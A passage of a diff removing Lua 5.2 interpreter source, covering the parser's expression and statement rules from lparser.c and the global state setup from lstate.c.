- break; - } - } -} - - -static void constructor (LexState *ls, expdesc *t) { - /* constructor -> '{' [ field { sep field } [sep] ] '}' - sep -> ',' | ';' */ - FuncState *fs = ls->fs; - int line = ls->linenumber; - int pc = luaK_codeABC(fs, OP_NEWTABLE, 0, 0, 0); - struct ConsControl cc; - cc.na = cc.nh = cc.tostore = 0; - cc.t = t; - init_exp(t, VRELOCABLE, pc); - init_exp(&cc.v, VVOID, 0); /* no value (yet) */ - luaK_exp2nextreg(ls->fs, t); /* fix it at stack top */ - checknext(ls, '{'); - do { - lua_assert(cc.v.k == VVOID || cc.tostore > 0); - if (ls->t.token == '}') break; - closelistfield(fs, &cc); - field(ls, &cc); - } while (testnext(ls, ',') || testnext(ls, ';')); - check_match(ls, '}', '{', line); - lastlistfield(fs, &cc); - SETARG_B(fs->f->code[pc], luaO_int2fb(cc.na)); /* set initial array size */ - SETARG_C(fs->f->code[pc], luaO_int2fb(cc.nh)); /* set initial table size */ -} - -/* }====================================================================== */ - - - -static void parlist (LexState *ls) { - /* parlist -> [ param { `,' param } ] */ - FuncState *fs = ls->fs; - Proto *f = fs->f; - int nparams = 0; - f->is_vararg = 0; - if (ls->t.token != ')') { /* is `parlist' not empty? */ - do { - switch (ls->t.token) { - case TK_NAME: { /* param -> NAME */ - new_localvar(ls, str_checkname(ls)); - nparams++; - break; - } - case TK_DOTS: { /* param -> `...' */ - luaX_next(ls); - f->is_vararg = 1; - break; - } - default: luaX_syntaxerror(ls, " or " LUA_QL("...") " expected"); - } - } while (!f->is_vararg && testnext(ls, ',')); - } - adjustlocalvars(ls, nparams); - f->numparams = cast_byte(fs->nactvar); - luaK_reserveregs(fs, fs->nactvar); /* reserve register for parameters */ -} - - -static void body (LexState *ls, expdesc *e, int ismethod, int line) { - /* body -> `(' parlist `)' block END */ - FuncState new_fs; - BlockCnt bl; - new_fs.f = addprototype(ls); - new_fs.f->linedefined = line; - open_func(ls, &new_fs, &bl); - checknext(ls, '('); - if (ismethod) { - new_localvarliteral(ls, "self"); /* create 'self' parameter */ - adjustlocalvars(ls, 1); - } - parlist(ls); - checknext(ls, ')'); - statlist(ls); - new_fs.f->lastlinedefined = ls->linenumber; - check_match(ls, TK_END, TK_FUNCTION, line); - codeclosure(ls, e); - close_func(ls); -} - - -static int explist (LexState *ls, expdesc *v) { - /* explist -> expr { `,' expr } */ - int n = 1; /* at least one expression */ - expr(ls, v); - while (testnext(ls, ',')) { - luaK_exp2nextreg(ls->fs, v); - expr(ls, v); - n++; - } - return n; -} - - -static void funcargs (LexState *ls, expdesc *f, int line) { - FuncState *fs = ls->fs; - expdesc args; - int base, nparams; - switch (ls->t.token) { - case '(': { /* funcargs -> `(' [ explist ] `)' */ - luaX_next(ls); - if (ls->t.token == ')') /* arg list is empty? */ - args.k = VVOID; - else { - explist(ls, &args); - luaK_setmultret(fs, &args); - } - check_match(ls, ')', '(', line); - break; - } - case '{': { /* funcargs -> constructor */ - constructor(ls, &args); - break; - } - case TK_STRING: { /* funcargs -> STRING */ - codestring(ls, &args, ls->t.seminfo.ts); - luaX_next(ls); /* must use `seminfo' before `next' */ - break; - } - default: { - luaX_syntaxerror(ls, "function arguments expected"); - } - } - lua_assert(f->k == VNONRELOC); - base = f->u.info; /* base register for call */ - if (hasmultret(args.k)) - nparams = LUA_MULTRET; /* open call */ - else { - if (args.k != VVOID) - luaK_exp2nextreg(fs, &args); /* close last argument */ - nparams = fs->freereg - (base+1); - } - init_exp(f, VCALL, luaK_codeABC(fs, OP_CALL, base, nparams+1, 2)); - luaK_fixline(fs, line); - fs->freereg = base+1; /* call remove function and arguments and leaves - (unless changed) one result */ -} - - - - -/* -** {====================================================================== -** Expression parsing -** ======================================================================= -*/ - - -static void primaryexp (LexState *ls, expdesc *v) { - /* primaryexp -> NAME | '(' expr ')' */ - switch (ls->t.token) { - case '(': { - int line = ls->linenumber; - luaX_next(ls); - expr(ls, v); - check_match(ls, ')', '(', line); - luaK_dischargevars(ls->fs, v); - return; - } - case TK_NAME: { - singlevar(ls, v); - return; - } - default: { - luaX_syntaxerror(ls, "unexpected symbol"); - } - } -} - - -static void suffixedexp (LexState *ls, expdesc *v) { - /* suffixedexp -> - primaryexp { '.' NAME | '[' exp ']' | ':' NAME funcargs | funcargs } */ - FuncState *fs = ls->fs; - int line = ls->linenumber; - primaryexp(ls, v); - for (;;) { - switch (ls->t.token) { - case '.': { /* fieldsel */ - fieldsel(ls, v); - break; - } - case '[': { /* `[' exp1 `]' */ - expdesc key; - luaK_exp2anyregup(fs, v); - yindex(ls, &key); - luaK_indexed(fs, v, &key); - break; - } - case ':': { /* `:' NAME funcargs */ - expdesc key; - luaX_next(ls); - checkname(ls, &key); - luaK_self(fs, v, &key); - funcargs(ls, v, line); - break; - } - case '(': case TK_STRING: case '{': { /* funcargs */ - luaK_exp2nextreg(fs, v); - funcargs(ls, v, line); - break; - } - default: return; - } - } -} - - -static void simpleexp (LexState *ls, expdesc *v) { - /* simpleexp -> NUMBER | STRING | NIL | TRUE | FALSE | ... | - constructor | FUNCTION body | suffixedexp */ - switch (ls->t.token) { - case TK_NUMBER: { - init_exp(v, VKNUM, 0); - v->u.nval = ls->t.seminfo.r; - break; - } - case TK_STRING: { - codestring(ls, v, ls->t.seminfo.ts); - break; - } - case TK_NIL: { - init_exp(v, VNIL, 0); - break; - } - case TK_TRUE: { - init_exp(v, VTRUE, 0); - break; - } - case TK_FALSE: { - init_exp(v, VFALSE, 0); - break; - } - case TK_DOTS: { /* vararg */ - FuncState *fs = ls->fs; - check_condition(ls, fs->f->is_vararg, - "cannot use " LUA_QL("...") " outside a vararg function"); - init_exp(v, VVARARG, luaK_codeABC(fs, OP_VARARG, 0, 1, 0)); - break; - } - case '{': { /* constructor */ - constructor(ls, v); - return; - } - case TK_FUNCTION: { - luaX_next(ls); - body(ls, v, 0, ls->linenumber); - return; - } - default: { - suffixedexp(ls, v); - return; - } - } - luaX_next(ls); -} - - -static UnOpr getunopr (int op) { - switch (op) { - case TK_NOT: return OPR_NOT; - case '-': return OPR_MINUS; - case '#': return OPR_LEN; - default: return OPR_NOUNOPR; - } -} - - -static BinOpr getbinopr (int op) { - switch (op) { - case '+': return OPR_ADD; - case '-': return OPR_SUB; - case '*': return OPR_MUL; - case '/': return OPR_DIV; - case '%': return OPR_MOD; - case '^': return OPR_POW; - case TK_CONCAT: return OPR_CONCAT; - case TK_NE: return OPR_NE; - case TK_EQ: return OPR_EQ; - case '<': return OPR_LT; - case TK_LE: return OPR_LE; - case '>': return OPR_GT; - case TK_GE: return OPR_GE; - case TK_AND: return OPR_AND; - case TK_OR: return OPR_OR; - default: return OPR_NOBINOPR; - } -} - - -static const struct { - lu_byte left; /* left priority for each binary operator */ - lu_byte right; /* right priority */ -} priority[] = { /* ORDER OPR */ - {6, 6}, {6, 6}, {7, 7}, {7, 7}, {7, 7}, /* `+' `-' `*' `/' `%' */ - {10, 9}, {5, 4}, /* ^, .. (right associative) */ - {3, 3}, {3, 3}, {3, 3}, /* ==, <, <= */ - {3, 3}, {3, 3}, {3, 3}, /* ~=, >, >= */ - {2, 2}, {1, 1} /* and, or */ -}; - -#define UNARY_PRIORITY 8 /* priority for unary operators */ - - -/* -** subexpr -> (simpleexp | unop subexpr) { binop subexpr } -** where `binop' is any binary operator with a priority higher than `limit' -*/ -static BinOpr subexpr (LexState *ls, expdesc *v, int limit) { - BinOpr op; - UnOpr uop; - enterlevel(ls); - uop = getunopr(ls->t.token); - if (uop != OPR_NOUNOPR) { - int line = ls->linenumber; - luaX_next(ls); - subexpr(ls, v, UNARY_PRIORITY); - luaK_prefix(ls->fs, uop, v, line); - } - else simpleexp(ls, v); - /* expand while operators have priorities higher than `limit' */ - op = getbinopr(ls->t.token); - while (op != OPR_NOBINOPR && priority[op].left > limit) { - expdesc v2; - BinOpr nextop; - int line = ls->linenumber; - luaX_next(ls); - luaK_infix(ls->fs, op, v); - /* read sub-expression with higher priority */ - nextop = subexpr(ls, &v2, priority[op].right); - luaK_posfix(ls->fs, op, v, &v2, line); - op = nextop; - } - leavelevel(ls); - return op; /* return first untreated operator */ -} - - -static void expr (LexState *ls, expdesc *v) { - subexpr(ls, v, 0); -} - -/* }==================================================================== */ - - - -/* -** {====================================================================== -** Rules for Statements -** ======================================================================= -*/ - - -static void block (LexState *ls) { - /* block -> statlist */ - FuncState *fs = ls->fs; - BlockCnt bl; - enterblock(fs, &bl, 0); - statlist(ls); - leaveblock(fs); -} - - -/* -** structure to chain all variables in the left-hand side of an -** assignment -*/ -struct LHS_assign { - struct LHS_assign *prev; - expdesc v; /* variable (global, local, upvalue, or indexed) */ -}; - - -/* -** check whether, in an assignment to an upvalue/local variable, the -** upvalue/local variable is begin used in a previous assignment to a -** table. If so, save original upvalue/local value in a safe place and -** use this safe copy in the previous assignment. -*/ -static void check_conflict (LexState *ls, struct LHS_assign *lh, expdesc *v) { - FuncState *fs = ls->fs; - int extra = fs->freereg; /* eventual position to save local variable */ - int conflict = 0; - for (; lh; lh = lh->prev) { /* check all previous assignments */ - if (lh->v.k == VINDEXED) { /* assigning to a table? */ - /* table is the upvalue/local being assigned now? */ - if (lh->v.u.ind.vt == v->k && lh->v.u.ind.t == v->u.info) { - conflict = 1; - lh->v.u.ind.vt = VLOCAL; - lh->v.u.ind.t = extra; /* previous assignment will use safe copy */ - } - /* index is the local being assigned? (index cannot be upvalue) */ - if (v->k == VLOCAL && lh->v.u.ind.idx == v->u.info) { - conflict = 1; - lh->v.u.ind.idx = extra; /* previous assignment will use safe copy */ - } - } - } - if (conflict) { - /* copy upvalue/local value to a temporary (in position 'extra') */ - OpCode op = (v->k == VLOCAL) ? OP_MOVE : OP_GETUPVAL; - luaK_codeABC(fs, op, extra, v->u.info, 0); - luaK_reserveregs(fs, 1); - } -} - - -static void assignment (LexState *ls, struct LHS_assign *lh, int nvars) { - expdesc e; - check_condition(ls, vkisvar(lh->v.k), "syntax error"); - if (testnext(ls, ',')) { /* assignment -> ',' suffixedexp assignment */ - struct LHS_assign nv; - nv.prev = lh; - suffixedexp(ls, &nv.v); - if (nv.v.k != VINDEXED) - check_conflict(ls, lh, &nv.v); - checklimit(ls->fs, nvars + ls->L->nCcalls, LUAI_MAXCCALLS, - "C levels"); - assignment(ls, &nv, nvars+1); - } - else { /* assignment -> `=' explist */ - int nexps; - checknext(ls, '='); - nexps = explist(ls, &e); - if (nexps != nvars) { - adjust_assign(ls, nvars, nexps, &e); - if (nexps > nvars) - ls->fs->freereg -= nexps - nvars; /* remove extra values */ - } - else { - luaK_setoneret(ls->fs, &e); /* close last expression */ - luaK_storevar(ls->fs, &lh->v, &e); - return; /* avoid default */ - } - } - init_exp(&e, VNONRELOC, ls->fs->freereg-1); /* default assignment */ - luaK_storevar(ls->fs, &lh->v, &e); -} - - -static int cond (LexState *ls) { - /* cond -> exp */ - expdesc v; - expr(ls, &v); /* read condition */ - if (v.k == VNIL) v.k = VFALSE; /* `falses' are all equal here */ - luaK_goiftrue(ls->fs, &v); - return v.f; -} - - -static void gotostat (LexState *ls, int pc) { - int line = ls->linenumber; - TString *label; - int g; - if (testnext(ls, TK_GOTO)) - label = str_checkname(ls); - else { - luaX_next(ls); /* skip break */ - label = luaS_new(ls->L, "break"); - } - g = newlabelentry(ls, &ls->dyd->gt, label, line, pc); - findlabel(ls, g); /* close it if label already defined */ -} - - -/* check for repeated labels on the same block */ -static void checkrepeated (FuncState *fs, Labellist *ll, TString *label) { - int i; - for (i = fs->bl->firstlabel; i < ll->n; i++) { - if (luaS_eqstr(label, ll->arr[i].name)) { - const char *msg = luaO_pushfstring(fs->ls->L, - "label " LUA_QS " already defined on line %d", - getstr(label), ll->arr[i].line); - semerror(fs->ls, msg); - } - } -} - - -/* skip no-op statements */ -static void skipnoopstat (LexState *ls) { - while (ls->t.token == ';' || ls->t.token == TK_DBCOLON) - statement(ls); -} - - -static void labelstat (LexState *ls, TString *label, int line) { - /* label -> '::' NAME '::' */ - FuncState *fs = ls->fs; - Labellist *ll = &ls->dyd->label; - int l; /* index of new label being created */ - checkrepeated(fs, ll, label); /* check for repeated labels */ - checknext(ls, TK_DBCOLON); /* skip double colon */ - /* create new entry for this label */ - l = newlabelentry(ls, ll, label, line, fs->pc); - skipnoopstat(ls); /* skip other no-op statements */ - if (block_follow(ls, 0)) { /* label is last no-op statement in the block? */ - /* assume that locals are already out of scope */ - ll->arr[l].nactvar = fs->bl->nactvar; - } - findgotos(ls, &ll->arr[l]); -} - - -static void whilestat (LexState *ls, int line) { - /* whilestat -> WHILE cond DO block END */ - FuncState *fs = ls->fs; - int whileinit; - int condexit; - BlockCnt bl; - luaX_next(ls); /* skip WHILE */ - whileinit = luaK_getlabel(fs); - condexit = cond(ls); - enterblock(fs, &bl, 1); - checknext(ls, TK_DO); - block(ls); - luaK_jumpto(fs, whileinit); - check_match(ls, TK_END, TK_WHILE, line); - leaveblock(fs); - luaK_patchtohere(fs, condexit); /* false conditions finish the loop */ -} - - -static void repeatstat (LexState *ls, int line) { - /* repeatstat -> REPEAT block UNTIL cond */ - int condexit; - FuncState *fs = ls->fs; - int repeat_init = luaK_getlabel(fs); - BlockCnt bl1, bl2; - enterblock(fs, &bl1, 1); /* loop block */ - enterblock(fs, &bl2, 0); /* scope block */ - luaX_next(ls); /* skip REPEAT */ - statlist(ls); - check_match(ls, TK_UNTIL, TK_REPEAT, line); - condexit = cond(ls); /* read condition (inside scope block) */ - if (bl2.upval) /* upvalues? */ - luaK_patchclose(fs, condexit, bl2.nactvar); - leaveblock(fs); /* finish scope */ - luaK_patchlist(fs, condexit, repeat_init); /* close the loop */ - leaveblock(fs); /* finish loop */ -} - - -static int exp1 (LexState *ls) { - expdesc e; - int reg; - expr(ls, &e); - luaK_exp2nextreg(ls->fs, &e); - lua_assert(e.k == VNONRELOC); - reg = e.u.info; - return reg; -} - - -static void forbody (LexState *ls, int base, int line, int nvars, int isnum) { - /* forbody -> DO block */ - BlockCnt bl; - FuncState *fs = ls->fs; - int prep, endfor; - adjustlocalvars(ls, 3); /* control variables */ - checknext(ls, TK_DO); - prep = isnum ? luaK_codeAsBx(fs, OP_FORPREP, base, NO_JUMP) : luaK_jump(fs); - enterblock(fs, &bl, 0); /* scope for declared variables */ - adjustlocalvars(ls, nvars); - luaK_reserveregs(fs, nvars); - block(ls); - leaveblock(fs); /* end of scope for declared variables */ - luaK_patchtohere(fs, prep); - if (isnum) /* numeric for? */ - endfor = luaK_codeAsBx(fs, OP_FORLOOP, base, NO_JUMP); - else { /* generic for */ - luaK_codeABC(fs, OP_TFORCALL, base, 0, nvars); - luaK_fixline(fs, line); - endfor = luaK_codeAsBx(fs, OP_TFORLOOP, base + 2, NO_JUMP); - } - luaK_patchlist(fs, endfor, prep + 1); - luaK_fixline(fs, line); -} - - -static void fornum (LexState *ls, TString *varname, int line) { - /* fornum -> NAME = exp1,exp1[,exp1] forbody */ - FuncState *fs = ls->fs; - int base = fs->freereg; - new_localvarliteral(ls, "(for index)"); - new_localvarliteral(ls, "(for limit)"); - new_localvarliteral(ls, "(for step)"); - new_localvar(ls, varname); - checknext(ls, '='); - exp1(ls); /* initial value */ - checknext(ls, ','); - exp1(ls); /* limit */ - if (testnext(ls, ',')) - exp1(ls); /* optional step */ - else { /* default step = 1 */ - luaK_codek(fs, fs->freereg, luaK_numberK(fs, 1)); - luaK_reserveregs(fs, 1); - } - forbody(ls, base, line, 1, 1); -} - - -static void forlist (LexState *ls, TString *indexname) { - /* forlist -> NAME {,NAME} IN explist forbody */ - FuncState *fs = ls->fs; - expdesc e; - int nvars = 4; /* gen, state, control, plus at least one declared var */ - int line; - int base = fs->freereg; - /* create control variables */ - new_localvarliteral(ls, "(for generator)"); - new_localvarliteral(ls, "(for state)"); - new_localvarliteral(ls, "(for control)"); - /* create declared variables */ - new_localvar(ls, indexname); - while (testnext(ls, ',')) { - new_localvar(ls, str_checkname(ls)); - nvars++; - } - checknext(ls, TK_IN); - line = ls->linenumber; - adjust_assign(ls, 3, explist(ls, &e), &e); - luaK_checkstack(fs, 3); /* extra space to call generator */ - forbody(ls, base, line, nvars - 3, 0); -} - - -static void forstat (LexState *ls, int line) { - /* forstat -> FOR (fornum | forlist) END */ - FuncState *fs = ls->fs; - TString *varname; - BlockCnt bl; - enterblock(fs, &bl, 1); /* scope for loop and control variables */ - luaX_next(ls); /* skip `for' */ - varname = str_checkname(ls); /* first variable name */ - switch (ls->t.token) { - case '=': fornum(ls, varname, line); break; - case ',': case TK_IN: forlist(ls, varname); break; - default: luaX_syntaxerror(ls, LUA_QL("=") " or " LUA_QL("in") " expected"); - } - check_match(ls, TK_END, TK_FOR, line); - leaveblock(fs); /* loop scope (`break' jumps to this point) */ -} - - -static void test_then_block (LexState *ls, int *escapelist) { - /* test_then_block -> [IF | ELSEIF] cond THEN block */ - BlockCnt bl; - FuncState *fs = ls->fs; - expdesc v; - int jf; /* instruction to skip 'then' code (if condition is false) */ - luaX_next(ls); /* skip IF or ELSEIF */ - expr(ls, &v); /* read condition */ - checknext(ls, TK_THEN); - if (ls->t.token == TK_GOTO || ls->t.token == TK_BREAK) { - luaK_goiffalse(ls->fs, &v); /* will jump to label if condition is true */ - enterblock(fs, &bl, 0); /* must enter block before 'goto' */ - gotostat(ls, v.t); /* handle goto/break */ - skipnoopstat(ls); /* skip other no-op statements */ - if (block_follow(ls, 0)) { /* 'goto' is the entire block? */ - leaveblock(fs); - return; /* and that is it */ - } - else /* must skip over 'then' part if condition is false */ - jf = luaK_jump(fs); - } - else { /* regular case (not goto/break) */ - luaK_goiftrue(ls->fs, &v); /* skip over block if condition is false */ - enterblock(fs, &bl, 0); - jf = v.f; - } - statlist(ls); /* `then' part */ - leaveblock(fs); - if (ls->t.token == TK_ELSE || - ls->t.token == TK_ELSEIF) /* followed by 'else'/'elseif'? */ - luaK_concat(fs, escapelist, luaK_jump(fs)); /* must jump over it */ - luaK_patchtohere(fs, jf); -} - - -static void ifstat (LexState *ls, int line) { - /* ifstat -> IF cond THEN block {ELSEIF cond THEN block} [ELSE block] END */ - FuncState *fs = ls->fs; - int escapelist = NO_JUMP; /* exit list for finished parts */ - test_then_block(ls, &escapelist); /* IF cond THEN block */ - while (ls->t.token == TK_ELSEIF) - test_then_block(ls, &escapelist); /* ELSEIF cond THEN block */ - if (testnext(ls, TK_ELSE)) - block(ls); /* `else' part */ - check_match(ls, TK_END, TK_IF, line); - luaK_patchtohere(fs, escapelist); /* patch escape list to 'if' end */ -} - - -static void localfunc (LexState *ls) { - expdesc b; - FuncState *fs = ls->fs; - new_localvar(ls, str_checkname(ls)); /* new local variable */ - adjustlocalvars(ls, 1); /* enter its scope */ - body(ls, &b, 0, ls->linenumber); /* function created in next register */ - /* debug information will only see the variable after this point! */ - getlocvar(fs, b.u.info)->startpc = fs->pc; -} - - -static void localstat (LexState *ls) { - /* stat -> LOCAL NAME {`,' NAME} [`=' explist] */ - int nvars = 0; - int nexps; - expdesc e; - do { - new_localvar(ls, str_checkname(ls)); - nvars++; - } while (testnext(ls, ',')); - if (testnext(ls, '=')) - nexps = explist(ls, &e); - else { - e.k = VVOID; - nexps = 0; - } - adjust_assign(ls, nvars, nexps, &e); - adjustlocalvars(ls, nvars); -} - - -static int funcname (LexState *ls, expdesc *v) { - /* funcname -> NAME {fieldsel} [`:' NAME] */ - int ismethod = 0; - singlevar(ls, v); - while (ls->t.token == '.') - fieldsel(ls, v); - if (ls->t.token == ':') { - ismethod = 1; - fieldsel(ls, v); - } - return ismethod; -} - - -static void funcstat (LexState *ls, int line) { - /* funcstat -> FUNCTION funcname body */ - int ismethod; - expdesc v, b; - luaX_next(ls); /* skip FUNCTION */ - ismethod = funcname(ls, &v); - body(ls, &b, ismethod, line); - luaK_storevar(ls->fs, &v, &b); - luaK_fixline(ls->fs, line); /* definition `happens' in the first line */ -} - - -static void exprstat (LexState *ls) { - /* stat -> func | assignment */ - FuncState *fs = ls->fs; - struct LHS_assign v; - suffixedexp(ls, &v.v); - if (ls->t.token == '=' || ls->t.token == ',') { /* stat -> assignment ? */ - v.prev = NULL; - assignment(ls, &v, 1); - } - else { /* stat -> func */ - check_condition(ls, v.v.k == VCALL, "syntax error"); - SETARG_C(getcode(fs, &v.v), 1); /* call statement uses no results */ - } -} - - -static void retstat (LexState *ls) { - /* stat -> RETURN [explist] [';'] */ - FuncState *fs = ls->fs; - expdesc e; - int first, nret; /* registers with returned values */ - if (block_follow(ls, 1) || ls->t.token == ';') - first = nret = 0; /* return no values */ - else { - nret = explist(ls, &e); /* optional return values */ - if (hasmultret(e.k)) { - luaK_setmultret(fs, &e); - if (e.k == VCALL && nret == 1) { /* tail call? */ - SET_OPCODE(getcode(fs,&e), OP_TAILCALL); - lua_assert(GETARG_A(getcode(fs,&e)) == fs->nactvar); - } - first = fs->nactvar; - nret = LUA_MULTRET; /* return all values */ - } - else { - if (nret == 1) /* only one single value? */ - first = luaK_exp2anyreg(fs, &e); - else { - luaK_exp2nextreg(fs, &e); /* values must go to the `stack' */ - first = fs->nactvar; /* return all `active' values */ - lua_assert(nret == fs->freereg - first); - } - } - } - luaK_ret(fs, first, nret); - testnext(ls, ';'); /* skip optional semicolon */ -} - - -static void statement (LexState *ls) { - int line = ls->linenumber; /* may be needed for error messages */ - enterlevel(ls); - switch (ls->t.token) { - case ';': { /* stat -> ';' (empty statement) */ - luaX_next(ls); /* skip ';' */ - break; - } - case TK_IF: { /* stat -> ifstat */ - ifstat(ls, line); - break; - } - case TK_WHILE: { /* stat -> whilestat */ - whilestat(ls, line); - break; - } - case TK_DO: { /* stat -> DO block END */ - luaX_next(ls); /* skip DO */ - block(ls); - check_match(ls, TK_END, TK_DO, line); - break; - } - case TK_FOR: { /* stat -> forstat */ - forstat(ls, line); - break; - } - case TK_REPEAT: { /* stat -> repeatstat */ - repeatstat(ls, line); - break; - } - case TK_FUNCTION: { /* stat -> funcstat */ - funcstat(ls, line); - break; - } - case TK_LOCAL: { /* stat -> localstat */ - luaX_next(ls); /* skip LOCAL */ - if (testnext(ls, TK_FUNCTION)) /* local function? */ - localfunc(ls); - else - localstat(ls); - break; - } - case TK_DBCOLON: { /* stat -> label */ - luaX_next(ls); /* skip double colon */ - labelstat(ls, str_checkname(ls), line); - break; - } - case TK_RETURN: { /* stat -> retstat */ - luaX_next(ls); /* skip RETURN */ - retstat(ls); - break; - } - case TK_BREAK: /* stat -> breakstat */ - case TK_GOTO: { /* stat -> 'goto' NAME */ - gotostat(ls, luaK_jump(ls->fs)); - break; - } - default: { /* stat -> func | assignment */ - exprstat(ls); - break; - } - } - lua_assert(ls->fs->f->maxstacksize >= ls->fs->freereg && - ls->fs->freereg >= ls->fs->nactvar); - ls->fs->freereg = ls->fs->nactvar; /* free registers */ - leavelevel(ls); -} - -/* }====================================================================== */ - - -/* -** compiles the main function, which is a regular vararg function with an -** upvalue named LUA_ENV -*/ -static void mainfunc (LexState *ls, FuncState *fs) { - BlockCnt bl; - expdesc v; - open_func(ls, fs, &bl); - fs->f->is_vararg = 1; /* main function is always vararg */ - init_exp(&v, VLOCAL, 0); /* create and... */ - newupvalue(fs, ls->envn, &v); /* ...set environment upvalue */ - luaX_next(ls); /* read first token */ - statlist(ls); /* parse main body */ - check(ls, TK_EOS); - close_func(ls); -} - - -Closure *luaY_parser (lua_State *L, ZIO *z, Mbuffer *buff, - Dyndata *dyd, const char *name, int firstchar) { - LexState lexstate; - FuncState funcstate; - Closure *cl = luaF_newLclosure(L, 1); /* create main closure */ - /* anchor closure (to avoid being collected) */ - setclLvalue(L, L->top, cl); - incr_top(L); - funcstate.f = cl->l.p = luaF_newproto(L); - funcstate.f->source = luaS_new(L, name); /* create and anchor TString */ - lexstate.buff = buff; - lexstate.dyd = dyd; - dyd->actvar.n = dyd->gt.n = dyd->label.n = 0; - luaX_setinput(L, &lexstate, z, funcstate.f->source, firstchar); - mainfunc(&lexstate, &funcstate); - lua_assert(!funcstate.prev && funcstate.nups == 1 && !lexstate.fs); - /* all scopes should be correctly finished */ - lua_assert(dyd->actvar.n == 0 && dyd->gt.n == 0 && dyd->label.n == 0); - return cl; /* it's on the stack too */ -} - -/* -** $Id: lstate.c,v 2.98 2012/05/30 12:33:44 roberto Exp $ -** Global State -** See Copyright Notice in lua.h -*/ - - -#include -#include - -#define lstate_c -#define LUA_CORE - - - - -#if !defined(LUAI_GCPAUSE) -#define LUAI_GCPAUSE 200 /* 200% */ -#endif - -#if !defined(LUAI_GCMAJOR) -#define LUAI_GCMAJOR 200 /* 200% */ -#endif - -#if !defined(LUAI_GCMUL) -#define LUAI_GCMUL 200 /* GC runs 'twice the speed' of memory allocation */ -#endif - - -#define MEMERRMSG "not enough memory" - - -/* -** a macro to help the creation of a unique random seed when a state is -** created; the seed is used to randomize hashes. -*/ -#if !defined(luai_makeseed) -#include -#define luai_makeseed() cast(size_t, time(NULL)) -#endif - - - -/* -** thread state + extra space -*/ -typedef struct LX { -#if defined(LUAI_EXTRASPACE) - char buff[LUAI_EXTRASPACE]; -#endif - lua_State l; -} LX; - - -/* -** Main thread combines a thread state and the global state -*/ -typedef struct LG { - LX l; - global_State g; -} LG; - - - -#define fromstate(L) (cast(LX *, cast(lu_byte *, (L)) - offsetof(LX, l))) - - -/* -** Compute an initial seed as random as possible. In ANSI, rely on -** Address Space Layout Randomization (if present) to increase -** randomness.. -*/ -#define addbuff(b,p,e) \ - { size_t t = cast(size_t, e); \ - memcpy(buff + p, &t, sizeof(t)); p += sizeof(t); } - -static unsigned int makeseed (lua_State *L) { - char buff[4 * sizeof(size_t)]; - unsigned int h = luai_makeseed(); - int p = 0; - addbuff(buff, p, L); /* heap variable */ - addbuff(buff, p, &h); /* local variable */ - addbuff(buff, p, luaO_nilobject); /* global variable */ - addbuff(buff, p, &lua_newstate); /* public function */ - lua_assert(p == sizeof(buff)); - return luaS_hash(buff, p, h); -} - - -/* -** set GCdebt to a new value keeping the value (totalbytes + GCdebt) -** invariant -*/ -void luaE_setdebt (global_State *g, l_mem debt) { - g->totalbytes -= (debt - g->GCdebt); - g->GCdebt = debt; -} - - -CallInfo *luaE_extendCI (lua_State *L) { - CallInfo *ci = luaM_new(L, CallInfo); - lua_assert(L->ci->next == NULL); - L->ci->next = ci; - ci->previous = L->ci; - ci->next = NULL; - return ci; -} - - -void luaE_freeCI (lua_State *L) { - CallInfo *ci = L->ci; - CallInfo *next = ci->next; - ci->next = NULL; - while ((ci = next) != NULL) { - next = ci->next; - luaM_free(L, ci); - } -} - - -static void stack_init (lua_State *L1, lua_State *L) { - int i; CallInfo *ci; - /* initialize stack array */ - L1->stack = luaM_newvector(L, BASIC_STACK_SIZE, TValue); - L1->stacksize = BASIC_STACK_SIZE; - for (i = 0; i < BASIC_STACK_SIZE; i++) - setnilvalue(L1->stack + i); /* erase new stack */ - L1->top = L1->stack; - L1->stack_last = L1->stack + L1->stacksize - EXTRA_STACK; - /* initialize first ci */ - ci = &L1->base_ci; - ci->next = ci->previous = NULL; - ci->callstatus = 0; - ci->func = L1->top; - setnilvalue(L1->top++); /* 'function' entry for this 'ci' */ - ci->top = L1->top + LUA_MINSTACK; - L1->ci = ci; -} - - -static void freestack (lua_State *L) { - if (L->stack == NULL) - return; /* stack not completely built yet */ - L->ci = &L->base_ci; /* free the entire 'ci' list */ - luaE_freeCI(L); - luaM_freearray(L, L->stack, L->stacksize); /* free stack array */ -} - - -/* -** Create registry table and its predefined values -*/ -static void init_registry (lua_State *L, global_State *g) { - TValue mt; - /* create registry */ - Table *registry = luaH_new(L); - sethvalue(L, &g->l_registry, registry); - luaH_resize(L, registry, LUA_RIDX_LAST, 0); - /* registry[LUA_RIDX_MAINTHREAD] = L */ - setthvalue(L, &mt, L); - luaH_setint(L, registry, LUA_RIDX_MAINTHREAD, &mt); - /* registry[LUA_RIDX_GLOBALS] = table of globals */ - sethvalue(L, &mt, luaH_new(L)); - luaH_setint(L, registry, LUA_RIDX_GLOBALS, &mt); -} - - -/* -** open parts of the state that may cause memory-allocation errors -*/ -static void f_luaopen (lua_State *L, void *ud) { - global_State *g = G(L); - UNUSED(ud); - stack_init(L, L); /* init stack */ - init_registry(L, g); - luaS_resize(L, MINSTRTABSIZE); /* initial size of string table */ - luaT_init(L); - luaX_init(L); - /* pre-create memory-error message */ - g->memerrmsg = luaS_newliteral(L, MEMERRMSG); - luaS_fix(g->memerrmsg); /* it should never be collected */ - g->gcrunning = 1; /* allow gc */ -} - - -/* -** preinitialize a state with consistent values without allocating -** any memory (to avoid errors) -*/ -static void preinit_state (lua_State *L, global_State *g) { - G(L) = g; - L->stack = NULL; - L->ci = NULL; - L->stacksize = 0; - L->errorJmp = NULL; - L->nCcalls = 0; - L->hook = NULL; - L->hookmask = 0; - L->basehookcount = 0; - L->allowhook = 1; - resethookcount(L); - L->openupval = NULL; - L->nny = 1; - L->status = LUA_OK; - L->errfunc = 0; -} - - -static void close_state (lua_State *L) { - global_State *g = G(L); - luaF_close(L, L->stack); /* close all upvalues for this thread */ - luaC_freeallobjects(L); /* collect all objects */ - luaM_freearray(L, G(L)->strt.hash, G(L)->strt.size); - luaZ_freebuffer(L, &g->buff); - freestack(L); - lua_assert(gettotalbytes(g) == sizeof(LG)); - (*g->frealloc)(g->ud, fromstate(L), sizeof(LG), 0); /* free main block */ -} - - -LUA_API lua_State *lua_newthread (lua_State *L) { - lua_State *L1; - lua_lock(L); - luaC_checkGC(L); - L1 = &luaC_newobj(L, LUA_TTHREAD, sizeof(LX), NULL, offsetof(LX, l))->th; - setthvalue(L, L->top, L1); - api_incr_top(L); - preinit_state(L1, G(L)); - L1->hookmask = L->hookmask; - L1->basehookcount = L->basehookcount; - L1->hook = L->hook; - resethookcount(L1); - 